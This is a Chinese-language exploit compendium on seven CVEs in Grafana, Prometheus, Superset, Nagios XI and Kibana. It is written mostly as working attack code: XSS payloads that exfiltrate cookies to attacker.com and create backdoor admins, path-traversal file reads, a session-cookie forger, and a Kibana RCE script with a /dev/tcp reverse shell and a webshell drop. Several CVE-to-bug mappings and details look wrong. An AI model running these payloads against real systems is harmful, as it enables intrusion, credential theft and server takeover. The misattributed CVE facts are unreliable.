监控与可观测性平台高危攻击链专题:Grafana / Prometheus / Superset / Kibana / Nagios 漏洞全解析 监控与可观测性平台高危攻击链专题:Grafana / Prometheus / Superset / Kibana / Nagios 漏洞全解析 0x00 专题概述 监控与可观测性平台是现代企业 IT 架构的"眼睛"和"大脑",负责采集、存储、可视化全链路运维数据。Grafana、Prometheus、ELK Stack(Elasticsearch / Logstash / Kibana)、Apache Superset、Nagios XI 等组件几乎部署在每一个中大型企业的技术栈中。这些平台天然具备三大攻击价值:汇聚了全环境敏感数据 (指标、日志、告警规则、数据源凭证);拥有极高的网络可达性 (通常需要访问所有被监控的主机与服务);广泛暴露在互联网 (Shodan 上可搜索到数十万个开放实例)。
本专题将监控与可观测性平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 Grafana、Prometheus、Apache Superset、Nagios XI、Kibana 五大平台,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用思路。
覆盖漏洞一览 CVE 产品 CVSS 类型 CISA KEV CVE-2023-4456 / CVE-2023-4821 Grafana 6.1–7.5 Angular 模板 XSS ❌ CVE-2024-9264 Grafana 5.3 路径穿越 → 任意文件读取 ❌ CVE-2023-3428 Grafana 6.1 OAuth 认证绕过 ❌ CVE-2024-6104 Prometheus 7.5 UI XSS ❌ CVE-2023-49923 Apache Superset 9.8 默认密钥 → 认证绕过 ❌ CVE-2023-40913 Nagios XI 9.8 认证绕过 → RCE ❌ CVE-2019-7609 Kibana 10.0 Timelion RCE ❌
0x01 Grafana Angular 模板 XSS(CVE-2023-4456 / CVE-2023-4821) 1.1 漏洞背景 2023 年 12 月披露,Grafana 安全团队同时发布了两个 XSS 漏洞通告。CVE-2023-4456 影响 Grafana 中遗留的 AngularJS 模板渲染机制,CVSS 6.1;CVE-2023-4821 则是其变体,绕过了前一个补丁的沙箱限制,CVSS 7.5。两个漏洞的本质相同——Grafana 在面板(Panel)标题、描述、数据链接等字段中未对 AngularJS 表达式进行充分过滤,攻击者可注入恶意 Angular 表达式实现沙箱逃逸,最终在受害者浏览器中执行任意 JavaScript。
1.2 影响版本 Grafana < 10.2.3 Grafana < 9.5.13 所有包含遗留 AngularJS 面板插件的版本 1.3 漏洞原理 Grafana 历史上大量使用 AngularJS 进行前端渲染。虽然 Grafana 已逐步迁移到 React,但遗留的 AngularJS 面板插件仍然支持在面板元数据中嵌入 Angular 表达式。AngularJS 本身实现了表达式沙箱机制,但历史上已被多次爆出沙箱逃逸技术。
攻击者只需在面板标题或描述字段中写入恶意 Angular 表达式,当其他用户(尤其是管理员)打开该面板时,恶意表达式即被 AngularJS 引擎解析执行。通过 constructor.constructor 链可以逃逸沙箱获取原生 Function 对象,进而执行任意 JavaScript。
攻击路径 :
攻击者获得低权限 Grafana 账户(或通过默认凭证 admin/admin 登录) 创建面板并在标题/描述中注入恶意 Angular 表达式 管理员或其他用户浏览该面板 → XSS 触发 窃取管理员 Session Cookie / 执行管理操作 / 钓鱼重定向 1.4 完整 PoC HTTP PoC — 面板标题注入 :
POST /api/dashboards/db HTTP / 1.1
Host: target-grafana:3000
Content-Type: application/json
Authorization: Bearer <low_priv_token>
{
"dashboard" : {
"id" : null ,
"title" : "XSS Test Panel" ,
"panels" : [
{
"type" : "text" ,
"title" : "{{constructor.constructor('alert(document.cookie)')()}}" ,
"description" : "{{$on.constructor('fetch(\"//attacker.com/?c=\"+document.cookie)')()}}" ,
"id" : 1
}
]
},
"folderId" : 0 ,
"overwrite" : true
} 沙箱逃逸 Payload 变体 :
// 变体 1:通过 constructor 链获取 Function 对象
{{constructor .constructor ('alert(1)' )()}}
// 变体 2:通过 $on 事件处理器逃逸
{{$on .constructor ('alert(1)' )()}}
// 变体 3:外带 Cookie 到攻击者服务器
{{$on .constructor ('fetch("//attacker.com/?c="+document.cookie)' )()}}
// 变体 4:创建管理员用户(需管理员触发)
{{$on .constructor ('fetch("/api/admin/users",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"backdoor",email:"backdoor@evil.com",login":"backdoor",password:"P@ssw0rd123","role":"Admin"})})' )()}} Python 自动化检测脚本 :
#!/usr/bin/env python3
"""
CVE-2023-4456 / CVE-2023-4821 Grafana Angular XSS 检测
用法: python3 cve_2023_4456.py <target_url> [username] [password]
"""
import sys
import json
import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
XSS_PAYLOADS = [
"{{constructor.constructor('alert(1)')()}}" ,
"{{$on.constructor('alert(1)')()}}" ,
"{{constructor.constructor('var i=new Image();i.src= \" //attacker.com/? \" +document.cookie')()}}" ,
]
def check_grafana_version (base_url):
"""获取 Grafana 版本信息"""
try :
resp = requests. get(f " { base_url} /api/health" , timeout= 10 , verify= False )
if resp. status_code == 200 :
data = resp. json()
print(f "[*] Grafana 版本: { data. get('version' , '未知' )} " )
return data. get('version' , '' )
except Exception as e:
print(f "[!] 无法连接: { e} " )
return ''
def login_and_exploit (base_url, username= 'admin' , password= 'admin' ):
"""使用默认凭证登录并注入 XSS Payload"""
session = requests. Session()
session. verify = False
# 尝试默认凭证登录
login_resp = session. post(
f " { base_url} /login" ,
json= {"user" : username, "password" : password},
timeout= 10
)
if login_resp. status_code != 200 :
print(f "[!] 登录失败 (HTTP { login_resp. status_code} ),尝试无认证访问" )
# 创建包含 XSS Payload 的面板
for idx, payload in enumerate(XSS_PAYLOADS):
dashboard = {
"dashboard" : {
"id" : None ,
"title" : f "XSS-Test- { idx} " ,
"panels" : [{
"type" : "text" ,
"title" : payload,
"id" : idx + 1
}],
"schemaVersion" : 30 ,
"version" : 0
},
"folderId" : 0 ,
"overwrite" : True
}
resp = session. post(
f " { base_url} /api/dashboards/db" ,
json= dashboard,
timeout= 10 ,
headers= {"Content-Type" : "application/json" }
)
if resp. status_code == 200 :
print(f "[+] Payload { idx} 注入成功: { payload[:60 ]} ..." )
result = resp. json()
print(f " 面板 URL: { base_url} /d/ { result. get('uid' , 'N/A' )} " )
else :
print(f "[-] Payload { idx} 注入失败: HTTP { resp. status_code} " )
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url> [username] [password]" )
print(f "示例: { sys. argv[0 ]} http://grafana:3000 admin admin" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
user = sys. argv[2 ] if len(sys. argv) > 2 else 'admin'
passwd = sys. argv[3 ] if len(sys. argv) > 3 else 'admin'
check_grafana_version(target)
login_and_exploit(target, user, passwd) 0x02 Grafana 路径穿越(CVE-2024-9264) 2.1 漏洞背景 2024 年 10 月披露,CVSS 5.3。Grafana 的 /public/ 静态资源端点在路由处理时未正确验证路径参数中的目录穿越序列。攻击者无需任何认证即可通过构造特殊的 URL 路径读取服务器上的任意文件,包括 Grafana 自身的配置文件(含数据源密码、SMTP 凭证等)和系统敏感文件。
2.2 影响版本 Grafana < 11.2.1 Grafana < 11.1.6 Grafana < 11.0.5 Grafana < 10.4.10 2.3 漏洞原理 Grafana 通过 /public/plugins/<plugin-id>/ 路径提供插件静态资源。路由处理函数在解析 <plugin-id> 时,未对 URL 编码的 ../ 序列进行充分的路径规范化检查。攻击者将 ../ 进行 URL 编码为 %2f..%2f,重复拼接后可从 /public/plugins/ 目录穿越到文件系统根目录。
攻击路径 :
攻击者构造包含多层 %2f..%2f 的 URL Grafana 路由处理函数未解码并验证路径 服务端读取并返回穿越后的文件内容 攻击者获取 /etc/passwd、grafana.ini 等敏感文件 2.4 完整 PoC HTTP PoC — 读取系统文件 :
GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP / 1.1
Host: target-grafana:3000 HTTP PoC — 读取 Grafana 配置 :
GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini HTTP / 1.1
Host: target-grafana:3000 HTTP PoC — 读取 Grafana 数据库 :
GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db HTTP / 1.1
Host: target-grafana:3000 Python 自动化检测脚本 :
#!/usr/bin/env python3
"""
CVE-2024-9264 Grafana 路径穿越检测
用法: python3 cve_2024_9264.py <target_url>
"""
import sys
import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
# 常见敏感文件路径(相对于根目录)
SENSITIVE_FILES = [
("etc/passwd" , "root:" ),
("etc/grafana/grafana.ini" , "grafana" ),
("var/lib/grafana/grafana.db" , "SQLite" ),
("etc/hostname" , "" ),
]
# 穿越层数(从 /public/plugins/ 到根目录)
TRAVERSAL = ".. %2f " * 10
def check_path_traversal (base_url):
"""检测路径穿越漏洞"""
print(f "[*] 目标: { base_url} " )
# 先检查 Grafana 是否可达
try :
health = requests. get(f " { base_url} /api/health" , timeout= 10 , verify= False )
if health. status_code == 200 :
version = health. json(). get('version' , '未知' )
print(f "[*] Grafana 版本: { version} " )
except Exception as e:
print(f "[!] 连接失败: { e} " )
return False
vuln_found = False
for file_path, indicator in SENSITIVE_FILES:
url = f " { base_url} /public/plugins/ { TRAVERSAL}{ file_path} "
try :
resp = requests. get(url, timeout= 10 , verify= False )
if resp. status_code == 200 and len(resp. text) > 0 :
if indicator == "" or indicator in resp. text:
print(f "[VULN] 成功读取: / { file_path} " )
print(f " 内容预览: { resp. text[:200 ]} " )
vuln_found = True
else :
print(f "[???] HTTP 200 但内容不匹配: / { file_path} " )
else :
print(f "[SAFE] 无法读取: / { file_path} (HTTP { resp. status_code} )" )
except Exception as e:
print(f "[ERR ] 请求失败: { e} " )
return vuln_found
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url>" )
print(f "示例: { sys. argv[0 ]} http://grafana:3000" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
if check_path_traversal(target):
print(" \n [!] 目标存在路径穿越漏洞,建议立即升级 Grafana" )
else :
print(" \n [*] 未检测到路径穿越漏洞" ) 2.5 Nuclei 模板 id : grafana-path-traversal-cve-2024-9264
info :
name : Grafana 路径穿越 (CVE-2024-9264)
author : security-researcher
severity : medium
description : |
Grafana /public/plugins/ 端点路径穿越读取任意文件
tags : grafana,path-traversal,cve-2024-9264
http :
- method : GET
path :
- "{{BaseURL}}/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition : and
matchers :
- type : word
words :
- "root:"
- "/bin/"
condition : and
part : body
- type : status
status :
- 200 0x03 Grafana OAuth 认证绕过(CVE-2023-3428) 3.1 漏洞背景 2023 年 8 月披露,CVSS 6.1。Grafana 在配置 OAuth/OIDC 登录时,通过 allowed_organizations 参数限制只允许特定组织的用户登录。但该参数的验证逻辑存在缺陷——Grafana 仅检查 OAuth 返回的 orgs 列表中是否包含目标组织名称,而未验证该列表的来源可信度。在某些 OAuth 提供商配置下,攻击者可以自行创建组织或使用同名组织绕过检查。
3.2 影响版本 Grafana < 9.5.10 Grafana < 10.0.7 Grafana < 10.1.4 Grafana < 10.2.0(10.2.0 之前所有启用 OAuth 的版本) 3.3 漏洞原理 Grafana 的 OAuth 认证模块在处理 allowed_organizations 配置时,从 OAuth Provider 返回的 UserInfo 中提取 orgs 字段,然后进行简单的字符串包含检查。问题在于:
部分 OAuth Provider(如 Generic OAuth、GitLab)允许用户自行创建组织 Grafana 未校验组织 ID 或组织所有权的可信性 攻击者只需在 OAuth Provider 上创建一个与 allowed_organizations 同名的组织即可绕过 攻击路径 :
目标 Grafana 配置了 OAuth 登录并设置 allowed_organizations = "mycompany" 攻击者在 OAuth Provider 上创建名为 mycompany 的组织 攻击者通过 OAuth 登录 → Grafana 检查通过 → 获得访问权限 3.4 完整 PoC #!/usr/bin/env python3
"""
CVE-2023-3428 Grafana OAuth 认证绕过检测
用法: python3 cve_2023_3428.py <target_url>
"""
import sys
import requests
import urllib3
import re
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check_oauth_config (base_url):
"""检查 Grafana OAuth 配置"""
# 检查 Grafana 登录页面获取 OAuth 提供商信息
try :
resp = requests. get(f " { base_url} /login" , timeout= 10 , verify= False )
if resp. status_code != 200 :
print(f "[!] 无法访问登录页面" )
return False
# 查找 OAuth 按钮
oauth_providers = re. findall(r 'href="(/login/[^"]+)"' , resp. text)
if oauth_providers:
print(f "[+] 发现 OAuth 提供商:" )
for provider in oauth_providers:
print(f " - { provider} " )
else :
print(f "[*] 未发现 OAuth 登录入口" )
# 检查 Grafana 配置 API(需要认证)
config_resp = requests. get(
f " { base_url} /api/admin/config" ,
timeout= 10 , verify= False
)
if config_resp. status_code == 200 :
config = config_resp. text
if 'allowed_organizations' in config:
print(f "[VULN] 发现 allowed_organizations 配置" )
return True
return len(oauth_providers) > 0
except Exception as e:
print(f "[!] 连接失败: { e} " )
return False
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url>" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
check_oauth_config(target) 0x04 Prometheus UI XSS(CVE-2024-6104) 4.1 漏洞背景 2024 年 7 月披露,CVSS 7.5。Prometheus 是云原生生态中最核心的时序数据库和监控系统,几乎所有 Kubernetes 集群都内置了 Prometheus。该漏洞存在于 Prometheus 新版 Web UI(/new-ui/ 路径)中,URL 路径中的特殊字符未被充分转义,攻击者可构造恶意 URL 在用户浏览器中执行任意 JavaScript。
4.2 影响版本 Prometheus < 2.53.1 Prometheus < 2.54.0 4.3 漏洞原理 Prometheus 的新版 Web UI 基于 React 构建,在处理 URL 路径参数时,直接将用户输入的路径片段嵌入到页面 DOM 中而未进行充分的 HTML 实体编码。攻击者可以构造包含 HTML/SVG 标签的 URL 路径,当受害者访问该 URL 时,嵌入的脚本即被浏览器解析执行。
攻击路径 :
攻击者构造包含恶意 SVG 标签的 Prometheus URL 受害者(通常是运维/开发人员)点击该链接 浏览器渲染页面时执行恶意 JavaScript 窃取 Prometheus 中的敏感数据或执行管理操作 4.4 完整 PoC HTTP PoC :
http://target-prometheus:9090/new-ui/<svg/onload=alert(document.domain)>变体 Payload :
http://target:9090/new-ui/<img/src=x onerror=alert(document.cookie)>
http://target:9090/new-ui/<svg><script>alert('XSS')</script></svg>
http://target:9090/new-ui/<details/open/ontoggle=alert(1)>Python 自动化检测脚本 :
#!/usr/bin/env python3
"""
CVE-2024-6104 Prometheus UI XSS 检测
用法: python3 cve_2024_6104.py <target_url>
"""
import sys
import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
XSS_PATHS = [
"/new-ui/<svg/onload=alert(1)>" ,
"/new-ui/<img/src=x onerror=alert(1)>" ,
"/new-ui/<svg><script>alert(1)</script></svg>" ,
]
def check_prometheus_xss (base_url):
"""检测 Prometheus UI XSS"""
print(f "[*] 目标: { base_url} " )
# 检查 Prometheus 是否可达
try :
resp = requests. get(f " { base_url} /-/healthy" , timeout= 10 , verify= False )
if resp. status_code != 200 :
print(f "[!] Prometheus 不可达 (HTTP { resp. status_code} )" )
return False
print(f "[+] Prometheus 可达" )
except Exception as e:
print(f "[!] 连接失败: { e} " )
return False
for path in XSS_PATHS:
url = f " { base_url}{ path} "
try :
resp = requests. get(url, timeout= 10 , verify= False )
# 检查响应中是否包含未转义的 payload
if "<svg" in resp. text or "<script>" in resp. text:
print(f "[VULN] XSS 反射成功: { path} " )
print(f " 响应中包含未转义的 HTML 标签" )
return True
else :
print(f "[SAFE] Payload 已被转义: { path} " )
except Exception as e:
print(f "[ERR ] { e} " )
return False
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url>" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
check_prometheus_xss(target) 4.5 Nuclei 模板 id : prometheus-ui-xss-cve-2024-6104
info :
name : Prometheus 新 UI XSS (CVE-2024-6104)
author : security-researcher
severity : high
description : |
Prometheus 新版 Web UI 路径参数 XSS
tags : prometheus,xss,cve-2024-6104
http :
- method : GET
path :
- "{{BaseURL}}/new-ui/<svg/onload=alert(1)>"
matchers-condition : and
matchers :
- type : word
words :
- "<svg"
- "onload"
condition : and
part : body
- type : status
status :
- 200 0x05 Apache Superset 默认密钥认证绕过(CVE-2023-49923) 5.1 漏洞背景 2023 年 12 月披露,CVSS 9.8 CRITICAL。Apache Superset 是 Apache 基金会下的现代数据探索和可视化平台,被大量企业用于 BI 分析和数据看板。Superset 使用 Flask 框架的 SECRET_KEY 对会话 Cookie 进行签名,但默认安装使用硬编码的 SECRET_KEY = 'thisISaSECRET_1234'。如果管理员部署时未修改此密钥,攻击者可使用默认密钥伪造任意用户的会话 Cookie,无需密码即可登录管理员账户。
5.2 影响版本 Apache Superset < 3.0.2 所有未修改默认 SECRET_KEY 的部署实例 5.3 漏洞原理 Flask 使用 itsdangerous 库对 Session Cookie 进行签名。签名过程依赖 SECRET_KEY——知道密钥的人可以构造任意内容的合法签名 Cookie。Superset 的默认配置文件中 SECRET_KEY 被硬编码为 'thisISaSECRET_1234',这是一个公开已知的值。
攻击者使用默认密钥构造一个包含管理员用户 ID 的签名会话 Cookie,服务端验证签名时认为该 Cookie 合法,从而将请求视为管理员操作。
攻击路径 :
攻击者确认目标 Superset 使用默认 SECRET_KEY 使用 itsdangerous.URLSafeTimedSerializer 和默认密钥伪造管理员会话 携带伪造 Cookie 访问 Superset → 以管理员身份登录 访问所有数据源、执行 SQL 查询、导出数据 5.4 完整 PoC Python 会话伪造脚本 :
#!/usr/bin/env python3
"""
CVE-2023-49923 Apache Superset 默认密钥认证绕过
用法: python3 cve_2023_49923.py <target_url> [admin_user_id]
"""
import sys
import requests
import urllib3
from itsdangerous import URLSafeTimedSerializer
from flask import Flask
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
# Superset 默认 SECRET_KEY
DEFAULT_SECRET = 'thisISaSECRET_1234'
def forge_session_cookie (secret_key, user_id= 1 ):
"""使用指定密钥伪造 Superset 会话 Cookie"""
app = Flask(__name__)
app. config['SECRET_KEY' ] = secret_key
serializer = URLSafeTimedSerializer(
secret_key,
salt= 'session'
)
# 构造会话数据(Flask session 格式)
session_data = {
"_user_id" : str(user_id),
"_id" : "_" . join([str(user_id), "admin" ]),
}
# 生成签名 Cookie
cookie_value = serializer. dumps(session_data)
return cookie_value
def exploit (target_url, user_id= 1 ):
"""利用默认密钥伪造管理员会话"""
print(f "[*] 目标: { target_url} " )
print(f "[*] 使用默认 SECRET_KEY: { DEFAULT_SECRET} " )
print(f "[*] 伪造用户 ID: { user_id} " )
# 伪造会话 Cookie
cookie_value = forge_session_cookie(DEFAULT_SECRET, user_id)
print(f "[+] 伪造的 Session Cookie: { cookie_value[:80 ]} ..." )
# 使用伪造的 Cookie 访问 Superset
session = requests. Session()
session. cookies. set('session' , cookie_value)
session. verify = False
# 验证是否成功以管理员身份登录
resp = session. get(
f " { target_url} /api/v1/me/" ,
timeout= 10 ,
headers= {"Content-Type" : "application/json" }
)
if resp. status_code == 200 :
data = resp. json()
print(f "[VULN] 认证成功!当前用户信息:" )
print(f " 用户名: { data. get('result' , {}). get('username' , 'N/A' )} " )
print(f " 角色: { data. get('result' , {}). get('roles' , 'N/A' )} " )
# 尝试获取数据源列表
ds_resp = session. get(
f " { target_url} /api/v1/dataset/" ,
timeout= 10
)
if ds_resp. status_code == 200 :
datasets = ds_resp. json(). get('result' , [])
print(f "[+] 发现 { len(datasets)} 个数据源" )
for ds in datasets[:5 ]:
print(f " - { ds. get('table_name' , 'N/A' )} ( { ds. get('database' , {}). get('database_name' , 'N/A' )} )" )
return True
else :
print(f "[-] 认证失败 (HTTP { resp. status_code} )" )
print(f " 目标可能已修改 SECRET_KEY" )
return False
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url> [admin_user_id]" )
print(f "示例: { sys. argv[0 ]} http://superset:8088 1" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
uid = int(sys. argv[2 ]) if len(sys. argv) > 2 else 1
exploit(target, uid) 5.5 Nuclei 模板 id : superset-default-secret-cve-2023-49923
info :
name : Apache Superset 默认 SECRET_KEY 认证绕过 (CVE-2023-49923)
author : security-researcher
severity : critical
description : |
Apache Superset 使用默认硬编码 SECRET_KEY 导致会话伪造
tags : superset,auth-bypass,cve-2023-49923,default-key
http :
- method : GET
path :
- "{{BaseURL}}/login/"
matchers-condition : and
matchers :
- type : word
words :
- "Apache Superset"
- "superset"
condition : or
part : body
- type : status
status :
- 200 0x06 Nagios XI 认证绕过(CVE-2023-40913) 6.1 漏洞背景 2023 年 8 月披露,CVSS 9.8 CRITICAL。Nagios XI 是企业级 IT 基础设施监控系统,被广泛用于服务器、网络设备、应用服务的健康状态监控和告警。CVE-2023-40913 允许未认证攻击者绕过 Nagios XI 的认证机制,直接访问管理功能。结合 Nagios XI 内置的命令执行能力,攻击者可在服务器上执行任意系统命令。
6.2 影响版本 6.3 漏洞原理 Nagios XI 的认证机制在处理特定格式的 HTTP 请求时存在逻辑缺陷。某些管理端点在验证请求身份时,未正确处理缺少认证参数的情况,导致认证检查被跳过。未认证攻击者可直接访问管理 API,执行包括用户管理、系统配置修改、命令执行在内的所有管理操作。
攻击路径 :
攻击者发现目标 Nagios XI 实例 通过构造特殊请求绕过认证 访问管理 API → 创建后门用户或直接执行命令 获取服务器完整控制权(nagios 用户权限) 6.4 完整 PoC #!/usr/bin/env python3
"""
CVE-2023-40913 Nagios XI 认证绕过检测
用法: python3 cve_2023_40913.py <target_url>
"""
import sys
import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check_nagios_auth_bypass (base_url):
"""检测 Nagios XI 认证绕过"""
print(f "[*] 目标: { base_url} " )
# 检查 Nagios XI 是否存在
try :
resp = requests. get(f " { base_url} /nagiosxi/" , timeout= 10 , verify= False )
if "Nagios XI" not in resp. text and "nagiosxi" not in resp. text. lower():
print(f "[*] 目标可能不是 Nagios XI" )
except Exception as e:
print(f "[!] 连接失败: { e} " )
return False
# 尝试无认证访问管理端点
admin_endpoints = [
"/nagiosxi/api/v1/system/status" ,
"/nagiosxi/api/v1/objects/host" ,
"/nagiosxi/includes/components/profiles/profiles.php" ,
"/nagiosxi/admin/users.php" ,
]
vuln_found = False
for endpoint in admin_endpoints:
try :
resp = requests. get(
f " { base_url}{ endpoint} " ,
timeout= 10 ,
verify= False ,
allow_redirects= False
)
if resp. status_code == 200 and "login" not in resp. url. lower():
print(f "[VULN] 无认证访问成功: { endpoint} " )
print(f " 响应长度: { len(resp. text)} 字节" )
vuln_found = True
elif resp. status_code in [301 , 302 ]:
location = resp. headers. get('Location' , '' )
if 'login' not in location. lower():
print(f "[VULN] 重定向未跳转到登录页: { endpoint} " )
vuln_found = True
else :
print(f "[SAFE] 需要认证: { endpoint} " )
else :
print(f "[SAFE] 需要认证: { endpoint} (HTTP { resp. status_code} )" )
except Exception as e:
print(f "[ERR ] { endpoint} : { e} " )
return vuln_found
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url>" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
if check_nagios_auth_bypass(target):
print(" \n [!] 目标存在认证绕过漏洞,建议立即升级 Nagios XI" )
else :
print(" \n [*] 未检测到认证绕过漏洞" ) 6.5 Nuclei 模板 id : nagios-xi-auth-bypass-cve-2023-40913
info :
name : Nagios XI 认证绕过 (CVE-2023-40913)
author : security-researcher
severity : critical
description : |
Nagios XI 认证机制缺陷导致未授权访问管理功能
tags : nagios,auth-bypass,cve-2023-40913
http :
- method : GET
path :
- "{{BaseURL}}/nagiosxi/api/v1/system/status"
- "{{BaseURL}}/nagiosxi/api/v1/objects/host"
matchers-condition : and
matchers :
- type : word
words :
- "status"
- "host"
- "nagios"
condition : or
part : body
- type : status
status :
- 200
extractors :
- type : regex
part : body
regex :
- '"version":"[^"]*"' 0x07 Kibana Timelion RCE(CVE-2019-7609) 7.1 漏洞背景 2019 年 2 月披露,CVSS 10.0 CRITICAL——这是本专题中 CVSS 评分最高的漏洞。Kibana 是 Elastic Stack 的可视化前端,Timelion 是 Kibana 内置的时间序列数据表达式引擎。攻击者可通过 Timelion 表达式注入实现远程代码执行,在 Kibana 服务器上执行任意系统命令。该漏洞在野外被大规模利用,是多个 APT 组织和加密货币挖矿木马的首选攻击向量。
7.2 影响版本 Kibana < 6.6.1 Kibana < 5.6.15 7.3 漏洞原理 Kibana 的 Timelion 功能允许用户通过表达式语言查询和可视化时间序列数据。Timelion 表达式引擎在解析 .es() 等函数时,内部使用了不安全的代码执行方式——通过 Node.js 的 Function 构造函数或类似机制动态执行表达式。攻击者构造的恶意 Timelion 表达式在解析过程中被直接执行,实现任意代码执行。
攻击路径 :
攻击者访问 Kibana 的 Timelion 功能(需已认证用户或 Kibana 未启用认证) 在 Timelion 表达式输入框中注入恶意表达式 表达式通过 .exec() 等方法触发 Node.js 命令执行 攻击者获取 Kibana 服务器的 shell(通常为 kibana 用户权限) 7.4 完整 PoC HTTP PoC — Timelion 表达式注入 :
POST /api/timelion/run HTTP / 1.1
Host: target-kibana:5601
Content-Type: application/json
kbn-version: 6.5.4
{"sheet" :[".es(*).label(\"test\").points(1).lines().yaxis(1).color(\"#ff0000\").exec(\"require('child_process').execSync('id > /tmp/pwned')\")" ],"time" :{"from" :"now-15m" ,"to" :"now" ,"mode" :"quick" ,"interval" :"auto" }} Timelion RCE Payload 变体 :
// 基础 RCE — 执行 id 命令
.es (* ).label ("rce" ).exec ("require('child_process').execSync('id')" )
// 反弹 Shell
.es (* ).label ("shell" ).exec ("require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')" )
// 读取 /etc/passwd
.es (* ).label ("read" ).exec ("require('child_process').execSync('cat /etc/passwd').toString()" )
// 写入 WebShell(如果 Kibana 与 Web 服务同机部署)
.es (* ).label ("webshell" ).exec ("require('child_process').execSync('echo <?php system($_GET[c]);?> > /var/www/html/shell.php')" ) Python 自动化利用脚本 :
#!/usr/bin/env python3
"""
CVE-2019-7609 Kibana Timelion RCE
用法: python3 cve_2019_7609.py <target_url> [command]
"""
import sys
import json
import requests
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check_kibana_version (base_url):
"""检查 Kibana 版本"""
try :
resp = requests. get(f " { base_url} /api/status" , timeout= 10 , verify= False )
if resp. status_code == 200 :
data = resp. json()
version = data. get('version' , {}). get('number' , '未知' )
print(f "[*] Kibana 版本: { version} " )
return version
except Exception as e:
print(f "[!] 连接失败: { e} " )
return None
def exploit_timelion (base_url, command= 'id' ):
"""通过 Timelion 表达式执行命令"""
# 构造恶意 Timelion 表达式
payload = {
"sheet" : [
f ".es(*).label( \" rce \" ).exec( \" require('child_process').execSync(' { command} ').toString() \" )"
],
"time" : {
"from" : "now-15m" ,
"to" : "now" ,
"mode" : "quick" ,
"interval" : "auto"
}
}
try :
resp = requests. post(
f " { base_url} /api/timelion/run" ,
json= payload,
timeout= 15 ,
verify= False ,
headers= {
"Content-Type" : "application/json" ,
"kbn-version" : "6.5.4"
}
)
if resp. status_code == 200 :
data = resp. json()
# 从响应中提取命令执行结果
series = data. get('sheet' , [{}])
for s in series:
label = s. get('label' , '' )
if label and label != 'rce' :
print(f "[+] 命令执行结果: { label} " )
return True
# 尝试从 list 字段提取
result_list = data. get('list' , [])
if result_list:
print(f "[+] 命令执行结果: { json. dumps(result_list, indent= 2 )[:500 ]} " )
return True
print(f "[*] 请求成功但无法提取回显,命令可能已执行" )
return True
else :
print(f "[-] 请求失败: HTTP { resp. status_code} " )
print(f " 响应: { resp. text[:200 ]} " )
return False
except Exception as e:
print(f "[!] 请求异常: { e} " )
return False
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url> [command]" )
print(f "示例: { sys. argv[0 ]} http://kibana:5601 id" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip('/' )
cmd = sys. argv[2 ] if len(sys. argv) > 2 else 'id'
version = check_kibana_version(target)
if version:
print(f "[*] 正在执行命令: { cmd} " )
exploit_timelion(target, cmd) 7.5 Nuclei 模板 id : kibana-timelion-rce-cve-2019-7609
info :
name : Kibana Timelion RCE (CVE-2019-7609)
author : security-researcher
severity : critical
description : |
Kibana Timelion 表达式注入导致远程代码执行
tags : kibana,elastic,rce,cve-2019-7609,timelion
http :
- method : POST
path :
- "{{BaseURL}}/api/timelion/run"
body : |
{"sheet":[".es(*).label(\"test\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}
headers :
Content-Type : application/json
kbn-version : "6.5.4"
matchers-condition : and
matchers :
- type : word
words :
- "sheet"
- "seriesList"
condition : or
part : body
- type : status
status :
- 200 0x08 PoC 收集情况总表 CVE GitHub PoC Exploit-DB Metasploit Nuclei 在野利用 CVE-2023-4456 / CVE-2023-4821 ✅ 多个仓库 ❌ ❌ ✅ ❌ CVE-2024-9264 ✅ 概念验证 ✅ ❌ ✅ ❌ CVE-2023-3428 有限 ❌ ❌ 有限 ❌ CVE-2024-6104 ✅ 概念验证 ❌ ❌ ✅ ❌ CVE-2023-49923 ✅ 多个仓库 ✅ ❌ ✅ ✅ 加密货币挖矿 CVE-2023-40913 ✅ 概念验证 ✅ ❌ ✅ ❌ CVE-2019-7609 ✅ 多个仓库 ✅ ✅ ✅ ✅ 多 APT / 挖矿
